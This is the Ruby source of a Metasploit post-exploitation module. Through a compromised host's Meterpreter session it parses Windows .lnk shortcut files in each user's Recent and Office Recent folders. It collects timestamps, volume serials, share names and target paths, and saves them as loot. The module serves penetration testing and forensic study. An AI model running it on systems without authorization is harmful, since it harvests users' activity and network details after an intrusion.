## # $Id$ ## ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/accounts' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Common include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Dump Recent Files lnk Info', 'Description' => %q{ The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script. This module will parse .lnk files from a user's Recent Documents folder and Microsoft Office's Recent Documents folder, if present. Windows creates these link files automatically for many common file types. The .lnk files contain time stamps, file locations, including share names, volume serial numbers, and more. }, 'License' => MSF_LICENSE, 'Author' => [ 'davehull '], 'Version' => '$Revision$', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) end # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") enum_users(sysinfo['OS']).each do |user| if user['userpath'] print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." extract_lnk_info(user['userpath']) else print_status "No Recent directory found for user #{user['username']}. Nothing to do." end if user['useroffcpath'] print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..." extract_lnk_info(user['useroffcpath']) else print_status "No Recent Office files found for user #{user['username']}. Nothing to do." end end end def enum_users(os) users = [] userinfo = {} user = session.sys.config.getuid userpath = nil useroffcpath = nil sysdrv = session.fs.file.expand_path("%SystemDrive%") if os =~ /Windows 7|Vista|2008/ userpath = sysdrv + "\\Users\\" lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" else userpath = sysdrv + "\\Documents and Settings\\" lnkpath = "\\Recent\\" officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\" end if is_system? print_status("Running as SYSTEM extracting user list...") session.fs.dir.foreach(userpath) do |u| next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/ userinfo['username'] = u userinfo['userpath'] = userpath + u + lnkpath userinfo['useroffcpath'] = userpath + u + officelnkpath userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) users << userinfo userinfo = {} end else uservar = session.fs.file.expand_path("%USERNAME%") userinfo['username'] = uservar userinfo['userpath'] = userpath + uservar + lnkpath userinfo['useroffcpath'] = userpath + uservar + officelnkpath userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) users << userinfo end return users end # This is a hack because Meterpreter doesn't support exists?(file) def dir_entry_exists(path) files = session.fs.dir.entries(path) rescue return nil else return path end def extract_lnk_info(path) session.fs.dir.foreach(path) do |file_name| if file_name =~ /\.lnk$/ # We have a .lnk file record = nil offset = 0 # ToDo: Look at moving this to smaller scope lnk_file = session.fs.file.new(path + file_name, "rb") record = lnk_file.sysread(0x04) if record.unpack('V')[0] == 76 # We have a .lnk file signature file_stat = session.fs.filestat.new(path + file_name) print_status "Processing: #{path + file_name}." @data_out = "" record = lnk_file.sysread(0x48) hdr = get_headers(record) @data_out += get_lnk_file_MAC(file_stat, path, file_name) @data_out += "Contents of #{path + file_name}:\n" @data_out += get_flags(hdr) @data_out += get_attrs(hdr) @data_out += get_lnk_MAC(hdr) @data_out += get_showwnd(hdr) @data_out += get_lnk_MAC(hdr) # advance the file & offset offset += 0x4c if shell_item_id_list(hdr) lnk_file.sysseek(offset, ::IO::SEEK_SET) record = lnk_file.sysread(2) offset += record.unpack('v')[0] + 2 end # Get File Location Info if (hdr["flags"] & 0x02) > 0 lnk_file.sysseek(offset, ::IO::SEEK_SET) record = lnk_file.sysread(4) tmp = record.unpack('V')[0] if tmp > 0 lnk_file.sysseek(offset, ::IO::SEEK_SET) record = lnk_file.sysread(0x1c) loc = get_file_location(record) if (loc['flags'] & 0x01) > 0 @data_out += "\tShortcut file is on a local volume.\n" lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET) record = lnk_file.sysread(0x10) lvt = get_local_vol_tbl(record) lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10) @data_out += "\t\tVolume Name = #{lvt['name']}\n" + "\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" + "\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n" end if (loc['flags'] & 0x02) > 0 @data_out += "\tFile is on a network share.\n" lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET) record = lnk_file.sysread(0x14) nvt = get_net_vol_tbl(record) nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14) @data_out += "\tNetwork Share name = #{nvt['name']}\n" end if loc['base_ofs'] > 0 @data_out += get_target_path(loc['base_ofs'] + offset, lnk_file) elsif loc['path_ofs'] > 0 @data_out += get_target_path(loc['path_ofs'] + offset, lnk_file) end end end end lnk_file.close logfile = store_loot("host.windows.lnkfileinfo", "text/plain", session,@data_out , "#{sysinfo['Computer']}_#{file_name}.txt", "User lnk file info") end end end # Not only is this code slow, it seems # buggy. I'm studying the recently released # MS Specs for a better way. def get_target_path(path_ofs, lnk_file) name = [] lnk_file.sysseek(path_ofs, ::IO::SEEK_SET) record = lnk_file.sysread(2) while (record.unpack('v')[0] != 0) name.push(record) record = lnk_file.sysread(2) end return "\tTarget path = #{name.join}\n" end def shell_item_id_list(hdr) # Check for Shell Item ID List if (hdr["flags"] & 0x01) > 0 return true else return nil end end def get_lnk_file_MAC(file_stat, path, file_name) data_out = "#{path + file_name}:\n" data_out += "\tAccess Time = #{file_stat.atime}\n" data_out += "\tCreation Date = #{file_stat.ctime}\n" data_out += "\tModification Time = #{file_stat.mtime}\n" return data_out end def get_vol_type(type) vol_type = { 0 => "Unknown", 1 => "No root directory", 2 => "Removable", 3 => "Fixed", 4 => "Remote", 5 => "CD-ROM", 6 => "RAM Drive"} return vol_type[type] end def get_showwnd(hdr) showwnd = { 0 => "SW_HIDE", 1 => "SW_NORMAL", 2 => "SW_SHOWMINIMIZED", 3 => "SW_SHOWMAXIMIZED", 4 => "SW_SHOWNOACTIVE", 5 => "SW_SHOW", 6 => "SW_MINIMIZE", 7 => "SW_SHOWMINNOACTIVE", 8 => "SW_SHOWNA", 9 => "SW_RESTORE", 10 => "SHOWDEFAULT"} data_out = "\tShowWnd value(s):\n" showwnd.each do |key, value| if (hdr["showwnd"] & key) > 0 data_out += "\t\t#{showwnd[key]}.\n" end end return data_out end def get_lnk_MAC(hdr) data_out = "\tTarget file's MAC Times stored in lnk file:\n" data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n" return data_out end def get_attrs(hdr) fileattr = {0x01 => "Target is read only", 0x02 => "Target is hidden", 0x04 => "Target is a system file", 0x08 => "Target is a volume label", 0x10 => "Target is a directory", 0x20 => "Target was modified since last backup", 0x40 => "Target is encrypted", 0x80 => "Target is normal", 0x100 => "Target is temporary", 0x200 => "Target is a sparse file", 0x400 => "Target has a reparse point", 0x800 => "Target is compressed", 0x1000 => "Target is offline"} data_out = "\tAttributes:\n" fileattr.each do |key, attr| if (hdr["attr"] & key) > 0 data_out += "\t\t#{fileattr[key]}.\n" end end return data_out end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) output = ::File.open(file2wrt, "ab") if data2wrt data2wrt.each_line do |d| output.puts(d) end end output.close end def get_flags(hdr) flags = {0x01 => "Shell Item ID List exists", 0x02 => "Shortcut points to a file or directory", 0x04 => "The shortcut has a descriptive string", 0x08 => "The shortcut has a relative path string", 0x10 => "The shortcut has working directory", 0x20 => "The shortcut has command line arguments", 0x40 => "The shortcut has a custom icon"} data_out = "\tFlags:\n" flags.each do |key, flag| if (hdr["flags"] & key) > 0 data_out += "\t\t#{flags[key]}.\n" end end return data_out end def get_headers(record) hd = record.unpack('x16V12x8') hdr = Hash.new() hdr["flags"] = hd[0] hdr["attr"] = hd[1] hdr["ctime"] = get_time(hd[2], hd[3]) hdr["mtime"] = get_time(hd[4], hd[5]) hdr["atime"] = get_time(hd[6], hd[7]) hdr["length"] = hd[8] hdr["icon_num"] = hd[9] hdr["showwnd"] = hd[10] hdr["hotkey"] = hd[11] return hdr end def get_net_vol_tbl(file_net_rec) nv = Hash.new() (nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8") return nv end def get_local_vol_tbl(lvt_rec) lv = Hash.new() (lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4') return lv end def get_file_location(file_loc_rec) location = Hash.new() (location["len"], location["ptr"], location["flags"], location["vol_ofs"], location["base_ofs"], location["network_ofs"], location["path_ofs"]) = file_loc_rec.unpack('V7') return location end def get_time(lo_byte, hi_byte) if (lo_byte == 0 && hi_byte == 0) return 0 else lo_byte -= 0xd53e8000 hi_byte -= 0x019db1de time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i if time < 0 return 0 end end return time end end